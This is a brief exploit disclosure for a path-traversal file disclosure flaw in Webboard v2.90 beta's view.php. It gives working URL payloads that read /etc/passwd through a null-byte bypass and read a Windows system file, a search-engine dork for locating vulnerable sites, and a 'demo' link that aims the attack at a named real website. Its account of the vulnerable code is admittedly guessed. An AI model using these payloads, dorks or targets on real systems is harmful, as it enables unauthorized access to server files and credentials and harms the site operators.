Webboard <= v.2.90 beta Remote File Disclosure Vulnerability ============================================================= Author: MrDoug Email: mrdoug13 [at] gmail [dot] com Greetz to all my friends ============================================================= There are 3 vulnerable calls to fopen() in "/webboard/view.php" They are on lines 7, 109 and 113. I have not actually read the source but based on tests I would GUESS they look something like this... 7: fopen('title/' . $_GET['topic'] . '.txt'); ... 109: fopen('counter/read/' . $_GET['topic'] . '.txt'); ... 113: fopen('counter/read/' . $_GET['topic'] . '.txt'); IMPORTANT: Due to the trailing ".txt", retrieving files with different extensions will be difficult unless you are able to get a null byte through without it being escaped. ============================================================= Example 1: /webboard/view.php?topic=../../../../../../etc/passwd%00 Example 2: /webboard/view.php?topic=../../../../../../WINDOWS/system32/eula Dork: inurl:"webboard/view.php?topic=" Demo: http://korat.nfe.go.th/ksn00/webboard/view.php?topic=../../../../../../WINDOWS/system32/eula